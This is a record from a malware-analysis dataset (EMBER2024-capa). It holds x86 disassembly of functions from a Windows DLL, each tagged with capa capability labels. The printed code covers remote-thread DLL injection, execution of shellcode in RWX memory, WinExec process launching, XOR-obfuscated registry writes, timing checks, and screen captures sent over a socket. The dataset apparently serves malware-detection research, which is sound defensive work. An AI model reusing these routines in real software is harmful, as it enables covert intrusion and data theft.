joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007120
Capabilities:
Connect socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
mov eax, dword [0x10028014]
xor eax, esp
mov dword [esp + 0x10], eax
cmp dword [0x10086cdc], 0xffffffff
push esi
mov esi, dword [ebp + 8]
jne 0x1000716f
mov ecx, 0x10028028
call fcn.10004760
push eax
push 0
push 0x10186d68
call fcn.100050a0
add esp, 0xc
xor al, al
pop esi
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.1001e905
mov esp, ebp
pop ebp
ret 8
push dword [ebp + 0xc]
mov eax, 2
mov word [esp + 8], ax
call dword [sym.imp.WS2_32.dll_htons]
push esi
mov word [esp + 0xa], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 8], eax
cmp eax, 0xffffffff
jne 0x100071b9
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x100071b9
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [esp + 0x10]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0x10
lea eax, [esp + 8]
push eax
push dword [0x10086cdc]
call dword [sym.imp.WS2_32.dll_connect]
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0xffffffff
jne 0x1000721b
call esi
cmp eax, 0x2733
je 0x1000721b
call esi
push eax
mov ecx, 0x10086240
call fcn.10004760
push eax
push 0
push 0x10186d68
call fcn.100050a0
add esp, 0x10
mov ecx, 0x10086cd8
call fcn.10007310
xor al, al
pop esi
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.1001e905
mov esp, ebp
pop ebp
ret 8
push 0x23
push dword [0x10086ce0]
push dword [0x10086cdc]
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x100072a1
call esi
push eax
mov ecx, 0x10079c40
call fcn.10004760
push eax
push 0
push 0x10186d68
call fcn.100050a0
mov eax, dword [0x10086cdc]
add esp, 0x10
cmp eax, 0xffffffff
je 0x1000726c
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x10086cdc], 0xffffffff
mov eax, dword [0x10086ce0]
test eax, eax
je 0x10007286
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [0x10086ce0], 0
mov byte [0x10186d10], 0
xor al, al
pop esi
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.1001e905
mov esp, ebp
pop ebp
ret 8
push 0x80000
push 0
push 0x10086ce4
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [0x10106ce4], 0
push 0x80000
push 0
push 0x10106ce8
call sub.VCRUNTIME140.dll_memset
add esp, 4
mov dword [0x10186ce8], 0
push 0x10086cd8
push 0x10007890
call fcn.10004160
mov ecx, dword [esp + 0x14]
mov al, 1
pop esi
xor ecx, esp
mov byte [0x10186d10], 1
call fcn.1001e905
mov esp, ebp
pop ebp
ret 8
Function at 0x100075b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x8000c
call fcn.1001fa20
mov eax, dword [0x10028014]
xor eax, esp
mov dword [esp + 0x80008], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x10186cf4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x10086cdc]
cmp ebx, 0xffffffff
je 0x10007685
cmp byte [0x10186d10], 0
je 0x10007685
push 0x80000
lea eax, [esp + 0x14]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov esi, dword [ebp + 0xc]
lea eax, [esp + 0x1c]
add esp, 0xc
push esi
push edi
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
cmp byte [esp + 0x10], 0xc1
jne 0x10007635
push dword [esp + 0x12]
lea edx, [esi - 3]
lea ecx, [esp + 0x17]
jmp 0x10007640
push dword [esp + 0x13]
lea edx, [esi - 4]
lea ecx, [esp + 0x18]
call fcn.100046c0
mov eax, dword [0x10186ce8]
add esp, 4
test eax, eax
jle 0x100076e8
lea ecx, [eax + esi]
cmp ecx, 0x80000
jle 0x100076a9
push ecx
mov ecx, 0x10086340
call fcn.10004760
push eax
push 0
push 0x10186d68
call fcn.100050a0
add esp, 0x10
mov ecx, 0x10086cd8
call fcn.10007310
push 0x10186cf4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x80008]
xor ecx, esp
call fcn.1001e905
mov esp, ebp
pop ebp
ret 8
push esi
lea ecx, [esp + 0x14]
push ecx
lea eax, [eax + 0x10106ce8]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add dword [0x10186ce8], esi
push 0x10186cf4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x80008]
xor ecx, esp
call fcn.1001e905
mov esp, ebp
pop ebp
ret 8
xor edi, edi
test esi, esi
jle 0x100076c4
nop
push 0
push esi
lea eax, [esp + 0x18]
add eax, edi
push eax
push ebx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10007716
sub esi, eax
add edi, eax
test esi, esi
jle 0x100076c4
mov ebx, dword [0x10086cdc]
jmp 0x100076f0
mov ebx, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call ebx
cmp eax, 0x2733
jne 0x10007781
mov ecx, dword [0x10186ce8]
lea eax, [ecx + esi]
cmp eax, 0x80000
jle 0x10007740
push eax
mov ecx, 0x1004ce38
jmp 0x10007666
lea eax, [esp + 0x10]
add eax, edi
push esi
push eax
lea eax, [ecx + 0x10106ce8]
push eax
call sub.VCRUNTIME140.dll_memcpy
add dword [0x10186ce8], esi
add esp, 0xc
push 0x10186cf4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [esp + 0x80014]
mov al, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1001e905
mov esp, ebp
pop ebp
ret 8
call ebx
push eax
mov ecx, 0x1006c040
jmp 0x10007666
Function at 0x10007790
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi + 0x10001c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edi, edi
cmp dword [esi + 0x100010], edi
jle 0x100077e2
lea eax, [esi + 0x80010]
push 0
push dword [esi + 0x100010]
add eax, edi
push eax
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x100077ef
sub dword [esi + 0x100010], eax
add edi, eax
cmp dword [esi + 0x100010], 0
lea eax, [esi + 0x80010]
jg 0x100077b2
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10007828
push dword [esi + 0x100010]
lea eax, [esi + 0x80010]
add eax, edi
push eax
lea eax, [esi + 0x80010]
push eax
call dword [sym.imp.VCRUNTIME140.dll_memmove]
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
mov ecx, 0x10086140
call fcn.10004760
push eax
push 0
push 0x10186d68
call fcn.100050a0
mov eax, dword [esi + 4]
add esp, 0x10
cmp eax, 0xffffffff
je 0x1000785f
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
mov eax, dword [esi + 8]
test eax, eax
je 0x10007874
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 8], 0
push ebx
mov byte [esi + 0x100038], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor al, al
pop ebx
ret
Function at 0x10007f40
Capabilities:
Create process on windows
Get process image filename
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x580
mov eax, dword [0x10028014]
xor eax, esp
mov dword [esp + 0x57c], eax
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [esp + 0x28]
push 0x40
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x378]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x170]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push edi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1000813b
push 0x104
lea eax, [esp + 0x37c]
push eax
push esi
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x10008134
push ecx
lea edx, [esp + 0x174]
lea ecx, [esp + 0x37c]
call fcn.10004820
add esp, 4
test al, al
je 0x10008134
push 0x40
lea eax, [esp + 0x2c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov word [esp + 0xc], 0x5325
lea ecx, [esp + 0x378]
mov byte [esp + 0xe], 0
call fcn.10004a20
push eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x174]
push eax
call fcn.10006f30
test al, al
jne 0x100080aa
push 0x7dbac762
lea ecx, [esp + 0x14]
call fcn.10018840
push edi
push eax
lea eax, [esp + 0x70]
push eax
call fcn.10001410
add esp, 0xc
lea eax, [esp + 0x68]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea eax, [esp + 0x6c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
mov ecx, dword [esp + 0x57c]
xor ecx, esp
call fcn.1001e905
mov esp, ebp
pop ebp
ret 8
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x174]
push eax
call fcn.10007b60
test al, al
jne 0x100080f1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
lea edx, [esp + 0x2c]
mov ecx, 2
call fcn.1000cb60
add esp, 4
xor al, al
pop edi
pop esi
mov ecx, dword [esp + 0x57c]
xor ecx, esp
call fcn.1001e905
mov esp, ebp
pop ebp
ret 8
push ecx
lea eax, [esp + 0x174]
push eax
call fcn.10007df0
test al, al
jne 0x10008134
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
lea edx, [esp + 0x2c]
mov ecx, 5
call fcn.1000cb60
add esp, 4
xor al, al
pop edi
pop esi
mov ecx, dword [esp + 0x57c]
xor ecx, esp
call fcn.1001e905
mov esp, ebp
pop ebp
ret 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x584]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.1001e905
mov esp, ebp
pop ebp
ret 8
Function at 0x100083f0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.1001fa20
mov eax, dword [0x10028014]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1008]
mov dword [ebp - 0x1008], 0
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
jne 0x10008440
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001e905
mov esp, ebp
pop ebp
ret 4
push ebx
mov ebx, dword [ebp - 0x1008]
push esi
shr ebx, 2
xor esi, esi
push edi
test ebx, ebx
jle 0x100084ae
mov edi, dword [ebp + esi*4 - 0x1004]
test edi, edi
je 0x100084a9
push edi
lea eax, [ebp - 0x1010]
push eax
call fcn.10008790
test al, al
jne 0x100084a9
mov dword [ebp - 0x1010], edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push edi
mov dword [ebp - 0x100c], eax
call fcn.10008810
push ecx
push dword [ebp + esi*4 - 0x1004]
call fcn.100084e0
test al, al
je 0x100084c3
push ecx
push dword [ebp + esi*4 - 0x1004]
call fcn.10007f40
test al, al
je 0x100084c3
inc esi
cmp esi, ebx
jl 0x10008452
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001e905
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001e905
mov esp, ebp
pop ebp
ret 4

Function at 0x10008590
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x110c
call fcn.1001fa20
mov eax, dword [0x10028014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x110c]
push eax
push 0x1000
lea eax, [ebp - 0x1108]
mov dword [ebp - 0x110c], 0
push eax
push ebx
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
jne 0x100085e6
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001e905
mov esp, ebp
pop ebp
ret 8
push esi
push edi
mov edi, dword [ebp - 0x110c]
xor esi, esi
shr edi, 2
test edi, edi
jle 0x10008655
nop word [eax + eax]
push 0x104
lea eax, [ebp - 0x108]
push eax
push dword [ebp + esi*4 - 0x1108]
push ebx
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x10008650
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x108]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10008647
test dl, dl
je 0x10008643
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10008647
add ecx, 2
add eax, 2
test dl, dl
jne 0x10008627
xor eax, eax
jmp 0x1000864c
sbb eax, eax
or eax, 1
test eax, eax
je 0x1000866a
inc esi
cmp esi, edi
jl 0x10008600
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001e905
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001e905
mov esp, ebp
pop ebp
ret 8
Function at 0x10008680
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
push 4
push 0x1000
push ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x100086c3
push 0
push ebx
push dword [ebp + 0xc]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x100086cc
push 0x8000
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
xor al, al
pop ebx
pop ebp
ret 0xc
push 0x10021c98
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100086b5
push 0
push 0
push edi
push eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x100086b5
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push ebx
push edi
push esi
test eax, eax
jne 0x100086bd
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
mov al, 1
pop ebx
pop ebp
ret 0xc

Function at 0x10008980
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x40
push 0x100
push 0x10188760
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp + 8]
push 0x100
add eax, 5
push eax
push 0x10188760
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 0x100
push 0x10188760
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push 0
push 0x10008910
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esp, ebp
pop ebp
ret 4

Function at 0x10008a70
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xe4
mov eax, dword [0x10028014]
xor eax, esp
mov dword [esp + 0xe0], eax
push esi
push 0x94
lea eax, [esp + 0x4c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x48], 0x94
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov esi, dword [esp + 0x10]
mov ecx, esi
mov edx, dword [esp + 0x14]
mov eax, edx
shrd ecx, eax, 0x14
shr eax, 0x14
sub esi, dword [esp + 0x18]
push ecx
sbb edx, dword [esp + 0x20]
mov ecx, 0x10028128
shrd esi, edx, 0x14
push esi
push dword [esp + 0x5c]
shr edx, 0x14
push dword [esp + 0x5c]
push dword [esp + 0x5c]
push str.PREMIUM
call fcn.10004760
push eax
push 0
push 0x10186d68
call fcn.100050a0
mov ecx, dword [esp + 0x108]
add esp, 0x24
pop esi
xor ecx, esp
call fcn.1001e905
mov esp, ebp
pop ebp
ret
Function at 0x100092b0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x10028014]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x54], 0
mov edx, 6
xor eax, eax
nop
mov cl, byte [eax + str.UHN__JHRByr_gzpcDNsuxrilbWQV_HSLXXEB_s_ZWSDdBKPRLZ2]
xor cl, dl
mov byte [ebp + eax - 0x4c], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x3b
jb 0x100092d0
lea eax, [ebp - 0x50]
mov byte [ebp - 0x11], 0
push eax
lea eax, [ebp - 0x4c]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 4
lea eax, [ebp - 0x54]
mov dword [ebp - 0xc], 0x75526f4e
push eax
push 4
push 0
lea eax, [ebp - 0xc]
mov word [ebp - 8], 0x6e
push eax
push dword [ebp - 0x50]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x50]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, 0xa1
xor ecx, ecx
mov al, byte [ecx + 0x10021e44]
xor al, dl
mov byte [ebp + ecx - 0x3c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x2a
jb 0x10009333
lea eax, [ebp - 0x50]
mov byte [ebp - 0x12], 0
push eax
lea eax, [ebp - 0x3c]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 4
lea eax, [ebp - 0x54]
push eax
push 4
mov eax, 0x10021e70
lea ecx, [ebp - 0x10]
push 0
sub eax, 0x38d41ae2
push eax
call fcn.10018a40
push eax
push dword [ebp - 0x50]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x50]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001e905
mov esp, ebp
pop ebp
ret
Function at 0x1000ac30
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001fcf8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push esi
mov eax, dword [0x10028014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x10186d24]
cmp eax, 0x927c0
jb 0x1000ac72
call esi
mov dword [0x10186d24], eax
cmp dword [0x10086a7c], 0
je 0x1000ad07
push 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 1
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], 0
push eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x1c]
push dword [0x10086a80]
push eax
call fcn.1000a9e0
mov esi, dword [ebp - 0x1c]
test al, al
je 0x1000acee
cmp esi, dword [ebp - 0x18]
je 0x1000acee
lea eax, [ebp - 0x1c]
push eax
call fcn.1000ad20
mov esi, dword [ebp - 0x1c]
push dword [ebp - 0x10]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
test esi, esi
je 0x1000ad07
mov eax, dword [ebp - 0x14]
sub eax, esi
push eax
push esi
call fcn.10016c60
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000aff0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001fcf8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push esi
mov eax, dword [0x10028014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x10186d24]
cmp eax, 0x927c0
jb 0x1000b032
call esi
mov dword [0x10186d24], eax
push 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 1
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], 0
push eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
push 0x14
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 0
push eax
call fcn.1000a9e0
test al, al
jne 0x1000b091
mov esi, dword [ebp - 0x1c]
cmp esi, dword [ebp - 0x18]
jne 0x1000b09d
lea eax, [ebp - 0x1c]
push eax
call fcn.1000b0d0
mov esi, dword [ebp - 0x1c]
push dword [ebp - 0x10]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
test esi, esi
je 0x1000b0b6
mov eax, dword [ebp - 0x14]
sub eax, esi
push eax
push esi
call fcn.10016c60
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000b0d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x4058
call fcn.1001fa20
mov eax, dword [0x10028014]
xor eax, esp
mov dword [esp + 0x4054], eax
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], 0
mov eax, dword [edi + 4]
sub eax, dword [edi]
je 0x1000b251
nop dword [eax]
mov ecx, dword [0x10188440]
test ecx, ecx
jne 0x1000b128
xorps xmm0, xmm0
mov word [esp + 0x2d], cx
mov byte [esp + 0x2f], cl
jmp 0x1000b13c
mov ax, word [ecx + 8]
movq xmm0, qword [ecx]
mov word [esp + 0x2d], ax
mov al, byte [ecx + 0xa]
mov byte [esp + 0x2f], al
mov eax, dword [0x101886f0]
movq qword [esp + 0x25], xmm0
mov byte [esp + 0x20], 0xc2
mov ecx, dword [eax]
mov ax, word [ecx + 8]
movq xmm0, qword [ecx]
mov word [esp + 0x38], ax
mov al, byte [ecx + 0xa]
movq qword [esp + 0x30], xmm0
mov byte [esp + 0x3a], al
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x800000ff
jns 0x1000b17c
dec eax
or eax, 0xffffff00
inc eax
mov ecx, dword [esp + 0x14]
xor edx, edx
mov edi, dword [edi + 4]
mov byte [esp + 0x23], al
mov eax, 0x28
mov dword [esp + 0x10], eax
mov ecx, dword [ecx]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x1c], ecx
mov ecx, edi
mov byte [esp + 0x24], 0x14
mov dword [esp + 0x3c], edx
sub ecx, dword [eax]
mov eax, dword [esp + 0x18]
mov dword [esp + 0x44], eax
inc eax
mov dword [esp + 0x40], ecx
mov ecx, dword [esp + 0x1c]
sub edi, ecx
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x10]
cmp esi, edi
jae 0x1000b1dd
mov cl, byte [ecx + esi]
inc edx
mov byte [esp + eax + 0x58], cl
inc esi
mov ecx, dword [esp + 0x1c]
inc eax
cmp eax, 0x3ff6
jl 0x1000b1c4
mov ecx, eax
mov byte [esp + 0x22], al
shr ecx, 8
cmp dword [0x10186ce8], 0
mov byte [esp + 0x21], cl
movups xmm0, xmmword [esp + 0x20]
mov dword [esp + 0x3c], edx
mov dword [esp + 0x10], eax
movups xmmword [esp + 0x58], xmm0
movups xmm0, xmmword [esp + 0x30]
movups xmmword [esp + 0x68], xmm0
movq xmm0, qword [esp + 0x40]
movq qword [esp + 0x78], xmm0
jle 0x1000b235
nop dword [eax + eax]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x10186ce8], 0
jg 0x1000b220
mov eax, dword [esp + 0x10]
push eax
lea eax, [esp + 0x5c]
push eax
call fcn.100075b0
mov edi, dword [esp + 0x14]
mov eax, dword [edi + 4]
sub eax, dword [edi]
cmp esi, eax
jb 0x1000b110
mov ecx, dword [esp + 0x405c]
pop edi
pop esi
xor ecx, esp
call fcn.1001e905
mov esp, ebp
pop ebp
ret 4
Function at 0x1000b9b0
Capabilities:
Encode data using xor
Set registry value

Disassembly:
push esi
mov esi, ecx
call fcn.100092b0
movzx eax, byte [esi + 4]
cmp eax, 6
ja case.default.0x1000b9c5
jmp dword [eax*4 + 0x1000bb14]
pop esi
jmp fcn.100092b0
cmp dword [0x1018889c], 0
jne case.default.0x1000b9c5
sub esp, 8
mov dword [0x1018889c], 1
push 0
push 0x10009ba0
call fcn.10004160
pop esi
ret
cmp dword [0x1018889c], 0
jne case.default.0x1000b9c5
sub esp, 8
mov dword [0x1018889c], 2
push 0
push 0x10009ba0
call fcn.10004160
pop esi
ret
cmp dword [0x1018889c], 0
jne case.default.0x1000b9c5
sub esp, 8
mov dword [0x1018889c], 3
push 0
push 0x10009ba0
call fcn.10004160
pop esi
ret
cmp dword [0x1018889c], 0
jne case.default.0x1000b9c5
sub esp, 8
mov dword [0x1018889c], 4
push 0
push 0x10009ba0
call fcn.10004160
pop esi
ret
mov al, byte [esi + 0x14]
mov byte [0x10188b51], al
movzx eax, byte [esi + 5]
mov dword [0x10188b64], eax
movzx eax, byte [esi + 6]
mov dword [0x10188b68], eax
movzx eax, byte [esi + 7]
mov dword [0x10188b6c], eax
movzx eax, byte [esi + 8]
mov dword [0x10188b70], eax
movzx eax, byte [esi + 9]
mov dword [0x10188b74], eax
movzx eax, byte [esi + 0xa]
mov dword [0x10188b78], eax
movzx eax, byte [esi + 0xb]
mov byte [0x10188b62], 0
mov dword [0x10188b7c], eax
pop esi
ret
mov al, byte [esi + 0x14]
mov byte [0x10188b51], al
mov byte [0x10188b62], 1
movzx eax, byte [esi + 5]
mov dword [0x10188b64], eax
movzx eax, byte [esi + 6]
mov dword [0x10188b68], eax
movzx eax, byte [esi + 7]
mov dword [0x10188b6c], eax
movzx eax, byte [esi + 8]
mov dword [0x10188b70], eax
movzx eax, byte [esi + 9]
mov dword [0x10188b74], eax
movzx eax, byte [esi + 0xa]
mov dword [0x10188b78], eax
movzx eax, byte [esi + 0xb]
mov dword [0x10188b7c], eax
pop esi
ret